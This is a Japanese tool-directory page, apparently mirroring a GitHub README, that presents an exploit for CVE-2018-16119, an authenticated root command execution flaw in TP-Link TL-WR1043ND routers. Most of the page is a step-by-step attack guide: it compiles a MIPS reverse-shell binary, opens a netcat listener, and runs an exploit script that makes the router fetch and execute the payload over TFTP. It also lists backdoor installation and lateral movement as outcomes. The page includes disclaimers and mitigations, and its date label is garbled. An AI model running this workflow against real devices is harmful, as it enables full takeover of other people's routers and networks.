Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-16119 — TP-Link TL-WR1043ND - 認証済みリモートコード実行 | Kitploit
ツール/GitHubGitHub/hdbreaker/cve-2018-16119
組み込みシステムセキュリティIoTセキュリティエクスプロイトウェブアプリケーション悪用ペネトレーションテストハードウェアセキュリティ学習と教育レッドチーミングペイロード開発
GitHubhdbreaker/cve-2018-16119

CVE-2018-16119

TP-Link TL-WR1043ND - 認証済みリモートコード実行

1631年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
ウェブサイト

CVE-2018-16119: TP-Link WR1043ND における認証済みリモートコード実行

概要

CVE-2018-16119 は、TP-Link TL-WR1043ND ルータに影響を与える深刻な認証済みリモートコード実行の脆弱性です。この脆弱性により、認証された攻撃者はターゲットデバイス上で root 権限で任意のコマンドを実行できるようになり、システム全体が危険にさらされる可能性があります。

CVE 詳細: CVE-2018-16119

脆弱性の影響

  • 攻撃ベクトル: ネットワーク
  • 攻撃複雑性: 低
  • 必要な権限: 低 (認証が必要)
  • ユーザー操作: 不要
  • 影響範囲: 変更あり
  • 影響: デバイスの機密性、完全性、可用性の完全な侵害

一度悪用されると、攻撃者はルータへのルートシェルアクセスを取得し、以下が可能になります:

  • ルータ設定の変更
  • ネットワークトラフィックの監視
  • デバイスを水平移動の中継地点として使用
  • 永続的なバックドアのインストール
  • ネットワーク接続の混乱

影響を受けるデバイス

  • TP-Link TL-WR1043ND (複数のファームウェアバージョン)
  • 類似のファームウェアを使用する他のTP-Linkデバイスも影響を受ける可能性あり

前提条件

システム要件

  • root 権限を持つ Linux ホスト (ポート69のTFTPサーバに必要)
  • Docker (クロスコンパイル用)
  • ターゲットデバイスへのネットワーク接続
  • ターゲットルータの有効な認証情報

依存関係

root@kitploit:~
# 必要なパッケージをインストール
sudo apt-get update
sudo apt-get install netcat docker.io

悪用ガイド

ステップ1: リバースシェルペイロードのコンパイル

このエクスプロイトには MIPS ビッグエンディアン リバースシェルバイナリが必要です。以下の手順でコンパイルします:

root@kitploit:~
# Copy the source code to /tmp
cp exploit/tftp_server/reverse_shell_mipsbe.c /tmp/

# Use Docker container with MIPS cross-compilation tools
docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash

Docker コンテナ内で:

root@kitploit:~
cd /tmp
mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh

Docker を終了し、コンパイルされたバイナリをコピー:

root@kitploit:~
cp /tmp/shh exploit/tftp_server/

ステップ2: リバースシェルリスナーの設定

ターミナルを開き、ポート9669で netcat リスナーを起動:

Linux:

root@kitploit:~
nc -l -p 9669 -vv

macOS:

root@kitploit:~
nc -l 9669 -vv

ステップ3: エクスプロイトの実行

エクスプロイトスクリプトを root 権限で実行 (TFTPサーバに必要):

root@kitploit:~
sudo python3 exploit/exploit.py

スクリプトは以下を実行します:

  1. ターゲットルータに認証
  2. ポート69でTFTPサーバを起動
  3. 脆弱性を悪用してリバースシェルをダウンロードし実行
  4. リスナーへの接続を確立

ステップ4: シェルとの対話

接続が確立したら:

  • ルータへのrootアクセスが得られます
  • 最初は詳細な出力は表示されません
  • シェルと対話するにはコマンドを入力してください

プロジェクト構成

root@kitploit:~
CVE-2018-16119/
├── exploit/
│   ├── exploit.py              # Main exploit script
│   ├── requirements.txt        # Python dependencies
│   ├── notes.txt              # Additional notes
│   └── tftp_server/
│       ├── reverse_shell_mipsbe.c  # Reverse shell source code
│       └── shh                     # Compiled MIPS binary
├── firmware/
│   └── wr740nv4_webrevert.bin     # Sample firmware
├── squashfs-root/                  # Extracted firmware filesystem
└── README.md                       # This file

セキュリティに関する考慮事項

責任ある開示

この脆弱性は責任を持って開示されており、以下の目的にのみ使用されるべきです:

  • 許可されたペネトレーションテスト
  • 管理された環境でのセキュリティ研究
  • 教育目的

法的通知

⚠️ 警告: このエクスプロイトは教育および許可されたテスト目的のみで提供されます。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。ユーザーは、このツールを使用する前に適切な許可を得ていることを確認する責任があります。

緩和策の推奨事項

  • 最新のファームウェアバージョンに更新
  • デフォルトの管理者認証情報を変更
  • 不要な場合はリモート管理を無効化
  • ネットワークセグメンテーションの実装
  • 不審なネットワークアクティビティの監視

依存関係

Python の依存関係をインストール:

root@kitploit:~
pip3 install -r exploit/requirements.txt

トラブルシューティング

よくある問題

TFTPサーバの権限拒否:

  • スクリプトがroot権限で実行されていることを確認
  • ポート69が既に使用されていないか確認

接続失敗:

  • ターゲットへのネットワーク接続を確認
  • 認証情報が正しいことを確認
  • ファイアウォール設定を確認

シェルの応答なし:

  • シェルの初期化に時間がかかる場合があります
  • Enterキーを押すか、id や pwd などの基本コマンドを入力してみてください

研究と開発

この研究は、組み込みデバイスファームウェアにおける重大なセキュリティ上の欠陥を示しています。この脆弱性は、以下の重要性を浮き彫りにしています:

  • 組み込みシステムにおける安全なコーディング慣行
  • IoTデバイスの定期的なセキュリティ監査
  • 適時のファームウェア更新とパッチ管理

参考文献

  • CVE-2018-16119 公式エントリ
  • TP-Link セキュリティ勧告

連絡先とクレジット

研究者: Alejandro Parodi
Twitter: @hdbreaker
LinkedIn: Alejandro Parodi


この研究は教育目的と組み込みシステムのセキュリティ向上のために実施されました。責任を持ってご使用ください。

ツールをダウンロード